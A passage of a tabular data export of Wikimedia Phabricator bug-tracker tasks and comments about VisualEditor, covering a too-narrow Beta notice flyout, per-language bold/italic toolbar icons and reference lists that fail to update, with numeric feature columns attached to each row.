https://gerrit.wikimedia.org/r/73096",,,1374193845,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.222222222222222,1.0,"Change 73096 merged by jenkins-bot:
Add more specific class to cite errors

GERRIT_URL"
242243,VisualEditor: Improve how we suppress reference warnings in template rendering,https://gerrit.wikimedia.org/r/#/c/73614/,,,1373886910,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
242234,VisualEditor: Improve how we suppress reference warnings in template rendering,"Change 73096 had a related patch set uploaded by Jforrester:
Add more specific class to cite errors

https://gerrit.wikimedia.org/r/73096",,,1373852814,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.571428571428571,1.0,"Change 73096 had a related patch set uploaded by Jforrester:
Add more specific class to cite errors

GERRIT_URL"
53335,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"The Beta notice looks strange to me: 
http://i.imgur.com/H5n3XdD.png
ff23 linux

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52176",Medium,50.0,1373850240,1393633638.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-6ana44vgeezadw6ore4y,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.2195121951219514,0.5121951219512195,"The Beta notice looks strange to me: 
URL
ff23 linux

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
242153,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),This flyout is now much wider.,,,1393633638,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,False,,,34,,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.5714285714285716,1.0,This flyout is now much wider.
242151,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),*** Bug 51618 has been marked as a duplicate of this bug. ***,,,1374162111,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51618 has been marked as a duplicate of this bug. ***
242149,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"(In reply to comment #3)
> (In reply to comment #1)
> > Which page / URL does this happen on? And what exactly is ""strange""? The line
> > break between ""Leave"" and ""feedback"", or anything else? Feel free to edit the
> > bug summary to be more specific. Thanks!
> 
> I suspect it is the font (DejaVu?) that is common on Linux systems. It has
> wider characters than Arial (used on Windows).
> 
> The Beta popup should be made a little bit wider to accommodate this font.

The width is defined in terms of the font used (ems). I'm not sure how this fails due to that font - unless its em width is wrong somehow?

Note that we've just changed the language in the beta notices and expanded the width to compensate (deployment will be tomorrow afternoon PDT). Interested to know if this has an impact on this issue.",,,1374079435,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.5,0.5,4.0,1.0,0.0,0.0,2.0,2.0,1.5,0.0,0.0,0.0,1.5,0.0,3.0,9.5,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,12.0,1.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.5,9.0,3.5,1.0,8.0,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,2.5,9.5,6.0,1.0,0.0,0.0,2.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.510588235294118,0.7537254901960784,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The width is defined in terms of the font used (ems). I'm not sure how this fails due to that font - unless its em width is wrong somehow?

Note that we've just changed the language in the beta notices and expanded the width to compensate (deployment will be tomorrow afternoon PDT). Interested to know if this has an impact on this issue."
242146,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"(In reply to comment #1)
> Which page / URL does this happen on? And what exactly is ""strange""? The line
> break between ""Leave"" and ""feedback"", or anything else? Feel free to edit the
> bug summary to be more specific. Thanks!

I suspect it is the font (DejaVu?) that is common on Linux systems. It has wider characters than Arial (used on Windows).

The Beta popup should be made a little bit wider to accommodate this font.",,,1374030006,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,0.0,7.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,10.0,8.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,3.3833333333333333,0.7333333333333333,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

I suspect it is the font (DejaVu?) that is common on Linux systems. It has wider characters than Arial (used on Windows).

The Beta popup should be made a little bit wider to accommodate this font."
242143,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"Screenshot

Adding a screenshot of how it looks for me (Firefox22, Windows 7).

**Attached**: {F11423}",,,1373886191,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,11.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,3.2142857142857144,0.8571428571428571,"Screenshot

Adding a screenshot of how it looks for me (Firefox22, Windows 7).

**Attached**: {F11423}"
242140,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"Which page / URL does this happen on? And what exactly is ""strange""? The line break between ""Leave"" and ""feedback"", or anything else? Feel free to edit the bug summary to be more specific. Thanks!",,,1373883699,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,True,,,2,,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,6.0,9.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,2.0,6.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,3.4468085106382977,0.8297872340425532,"Which page / URL does this happen on? And what exactly is ""strange""? The line break between ""Leave"" and ""feedback"", or anything else? Feel free to edit the bug summary to be more specific. Thanks!"
53314,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"Since T40551 have been resolved, it is //possible// to have per-language bold/italic button variants. But the only two languages //using// this are currently English and German. Do we really need to ask language by language, when we've been through all this with the Vector edit toolbar (see e.g. {T25625}, {T25911}, {T26188} etc.).

We already have https://commons.wikimedia.org/wiki/WikiEditor_Toolbar_Icons#List_by_language -- cannot we use that?

----

See also: https://usability.wikimedia.org/wiki/Opinion_Icons",Medium,50.0,1373799300,1386877406.0,PHID-USER-7clmfrlb7fwuko4jdjbs,False,,False,PHID-TASK-yv3kce72452r37igamnp,task_description,resolved,True,c1,3,False,False,False,1,,1.0,0.0,0.0,1.0,1.0,3.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,4.0,0.0,8.0,8.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,5.0,8.0,5.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.652173913043478,0.75,"Since T40551 have been resolved, it is //possible// to have per-language bold/italic button variants. But the only two languages //using// this are currently English and German. Do we really need to ask language by language, when we've been through all this with the Vector edit toolbar (see e.g. {T25625}, {T25911}, {T26188} etc.).

We already have URL -- cannot we use that?

----

See also: URL"
513030,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343623,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,4.0,1.0,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366]
240974,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,No outstanding requests for these; closing for now as complete.,,,1386877406,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.5,0.9166666666666666,No outstanding requests for these; closing for now as complete.
240972,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"Change 74677 merged by jenkins-bot:
Set Malayam to use B/I rather than A/A for toolbar icons

https://gerrit.wikimedia.org/r/74677",,,1374265649,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,15.0,23.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.9230769230769231,"Change 74677 merged by jenkins-bot:
Set Malayam to use B/I rather than A/A for toolbar icons

GERRIT_URL"
240967,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"Change 74677 had a related patch set uploaded by Jforrester:
Set Malayam to use B/I rather than A/A for toolbar icons

https://gerrit.wikimedia.org/r/74677",,,1374265553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,31.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,14.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.793103448275862,0.9310344827586207,"Change 74677 had a related patch set uploaded by Jforrester:
Set Malayam to use B/I rather than A/A for toolbar icons

GERRIT_URL"
240963,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"(In reply to comment #2)
> That was exactly my point is that we do not want to do that, because we have
> already went through this with Vector. But I guess I have not expressed
> myself clearly: I do not care about the exact image files linked there. The
> point is that _we already know_ that Czech, Hebrew, and Polish (in addition
> to English) want to use B/I, and we already have these images, the only
> problem is to modify the configuration. We already know that Danish,
> Norwegian, and Swedish (in addition to German) want to use F/K, and we
> already have these images, the only problem is to modify the configuration.

Thank you! No, ""we"" do not know, as we are not experts - but you clearly do. :-) Have created this as bug 51330. Will do this tomorrow when I'm in the office.

> We also already know what letters 13 other languages would want to use, even
> though we do not have those images ready (I guess), but the best person to
> create those missing images is the person who created the current A/A/B/I/F/K
> ones, I would say.

Our developer/designer time is limited; we did F/K as an example for others to follow, not as a commitment that we would do this for all scripts.",,,1373841014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,True,,,1,,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.5,0.0,3.5,8.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.5,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,11.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.5,0.0,0.0,1.0,0.0,0.0,2.5,1.5,14.0,2.0,0.5,6.0,0.0,0.5,0.5,0.5,3.5,0.5,1.0,0.0,5.5,8.5,7.0,0.0,1.0,0.0,5.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.109090909090909,0.6818181818181819,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thank you! No, ""we"" do not know, as we are not experts - but you clearly do. :-) Have created this as bug 51330. Will do this tomorrow when I'm in the office.

QUOTE
QUOTE
QUOTE
QUOTE

Our developer/designer time is limited; we did F/K as an example for others to follow, not as a commitment that we would do this for all scripts."
240957,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"(In reply to comment #1)
> (In reply to comment #0)
> > Since bug 38551 have been resolved, it is _possible_ to have per-language
> > bold/italic button variants.
> 
> That's about Vector, which is entirely irrelevant here.

Really? Bug 38551 ""VisualEditor: Bold and Italic UI buttons need to be internationalisable"" fixed by https://git.wikimedia.org/commit/mediawiki%2Fextensions%2FVisualEditor/f49d80d27a757d0500b542959284a6c6bc99aebe? Anyway, that's not important.

> Yes (and the Latin-generic ones).

Which are wrong, that's the point.

> > We already have
> > https://commons.wikimedia.org/wiki/WikiEditor_Toolbar_Icons#List_by_language
> > --
> > cannot we use that?
> 
> No. Those are low-quality PNG-only icons and not in keeping with the existing
> VisualEditor ones. VisualEditor's interface is in SVG. We look forward to the
> creation of such icons and would gladly include them. Turning this into a
> tracking bug so each language can be tracked against it.

That was exactly my point is that we do not want to do that, because we have already went through this with Vector. But I guess I have not expressed myself clearly: I do not care about the exact image files linked there. The point is that _we already know_ that Czech, Hebrew, and Polish (in addition to English) want to use B/I, and we already have these images, the only problem is to modify the configuration. We already know that Danish, Norwegian, and Swedish (in addition to German) want to use F/K, and we already have these images, the only problem is to modify the configuration. We also already know what letters 13 other languages would want to use, even though we do not have those images ready (I guess), but the best person to create those missing images is the person who created the current A/A/B/I/F/K ones, I would say.

So: I believe I do not need to manually create 6 new bugs to request Czech, Hebrew, and Polish to have ve.ui.BoldButtonTool.static.icon switched to 'bold-b' and ve.ui.ItalicButtonTool.static.icon switched to 'italic-i', and Danish, Norwegian, and Swedish to have ve.ui.BoldButtonTool.static.icon switched to 'bold-f' and ve.ui.ItalicButtonTool.static.icon switched to 'italic-k'.",,,1373834454,,PHID-USER-7clmfrlb7fwuko4jdjbs,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,1.5,3.0,2.0,0.25,0.25,0.0,0.75,2.5,0.0,0.5,0.0,5.25,0.0,5.25,8.5,0.0,3.5,0.0,0.0,0.25,1.0,0.25,0.0,0.0,0.0,0.5,0.0,6.25,1.5,0.0,0.75,0.0,0.0,0.0,1.5,0.25,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.25,9.5,1.5,1.5,0.0,0.25,0.0,0.75,0.0,1.0,2.5,0.0,0.5,1.5,0.25,0.5,0.0,0.25,0.25,2.5,2.0,16.5,1.5,3.25,5.0,0.0,0.0,0.0,0.25,5.0,0.0,1.0,0.0,4.75,8.5,10.5,0.25,3.0,0.0,4.75,0.0,1.0,0.0,0.25,0.25,0.0,0.25,0.0,3.7890406162464987,0.5897408963585434,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Really? Bug 38551 ""VisualEditor: Bold and Italic UI buttons need to be internationalisable"" fixed by URL Anyway, that's not important.

QUOTE

Which are wrong, that's the point.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That was exactly my point is that we do not want to do that, because we have already went through this with Vector. But I guess I have not expressed myself clearly: I do not care about the exact image files linked there. The point is that _we already know_ that Czech, Hebrew, and Polish (in addition to English) want to use B/I, and we already have these images, the only problem is to modify the configuration. We already know that Danish, Norwegian, and Swedish (in addition to German) want to use F/K, and we already have these images, the only problem is to modify the configuration. We also already know what letters 13 other languages would want to use, even though we do not have those images ready (I guess), but the best person to create those missing images is the person who created the current A/A/B/I/F/K ones, I would say.

So: I believe I do not need to manually create 6 new bugs to request Czech, Hebrew, and Polish to have ve.ui.BoldButtonTool.static.icon switched to 'bold-b' and ve.ui.ItalicButtonTool.static.icon switched to 'italic-i', and Danish, Norwegian, and Swedish to have ve.ui.BoldButtonTool.static.icon switched to 'bold-f' and ve.ui.ItalicButtonTool.static.icon switched to 'italic-k'."
240950,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"(In reply to comment #0)
> Since bug 38551 have been resolved, it is _possible_ to have per-language
> bold/italic button variants.

That's about Vector, which is entirely irrelevant here.

> But the only two languages _using_ this are currently English and German.

Yes (and the Latin-generic ones).

> Do we really need to ask language by language, when we've been through
> all this with the Vector edit toolbar (see e.g. bug 23625, bug 23911,
> bug 24188 etc.).

See above.

> We already have
> https://commons.wikimedia.org/wiki/WikiEditor_Toolbar_Icons#List_by_language
> --
> cannot we use that?

No. Those are low-quality PNG-only icons and not in keeping with the existing VisualEditor ones. VisualEditor's interface is in SVG. We look forward to the creation of such icons and would gladly include them. Turning this into a tracking bug so each language can be tracked against it.",,,1373812879,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,True,,,1,,1.0,0.0,0.5,1.0,1.0,4.0,2.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,1.0,0.0,5.0,7.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,3.5,0.5,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,10.5,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.5,0.0,2.5,7.0,0.0,0.0,0.0,0.5,3.0,0.5,0.5,0.0,2.5,7.5,6.0,0.0,0.0,0.0,2.5,0.0,0.5,1.0,1.0,2.5,0.0,0.0,0.0,3.6491228070175437,0.6929824561403508,"(In reply to comment #0)
QUOTE
QUOTE

That's about Vector, which is entirely irrelevant here.

QUOTE

Yes (and the Latin-generic ones).

QUOTE
QUOTE
QUOTE

See above.

QUOTE
QUOTE
QUOTE
QUOTE

No. Those are low-quality PNG-only icons and not in keeping with the existing VisualEditor ones. VisualEditor's interface is in SVG. We look forward to the creation of such icons and would gladly include them. Turning this into a tracking bug so each language can be tracked against it."
53306,VisualEditor: Templated calls to <references /> (e.g. enwiki's {{reflist}}) don't get updated whilst the user is editing,"Twice I have added a bare URL as a reference to [[Paul Robert Magocsi]], which results in the [4] and [5] being added to the right spot in the text, 

but ..

The references section at the bottom did not display the reference.

Steps to reproduce:
1. Click add reference button
2. Paste in URL
3. Click 'Create new source'
4. Click 'Insert reference'
(Reference dialog appears)
5. Click 'Apply changes'
6. View the references list at bottom of article

Expected results:
the new reference is listed

Actual results:
The added reference was not visible.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373770740,1434495137.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-a6e5anlp2g7eyftsen6n,task_description,duplicate,True,c1,3,False,False,False,1,,0.0,0.0,0.0,1.0,1.0,4.0,0.5,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.5,0.0,1.5,5.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,2.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,6.0,2.0,13.5,0.0,1.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,4.0,0.0,0.5,5.5,3.0,0.0,4.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,2.5,3.5128205128205128,0.608974358974359,"Twice I have added a bare URL as a reference to [[Paul Robert Magocsi]], which results in the [4] and [5] being added to the right spot in the text, 

but ..

The references section at the bottom did not display the reference.

Steps to reproduce:
1. Click add reference button
2. Paste in URL
3. Click 'Create new source'
4. Click 'Insert reference'
(Reference dialog appears)
5. Click 'Apply changes'
6. View the references list at bottom of article

Expected results:
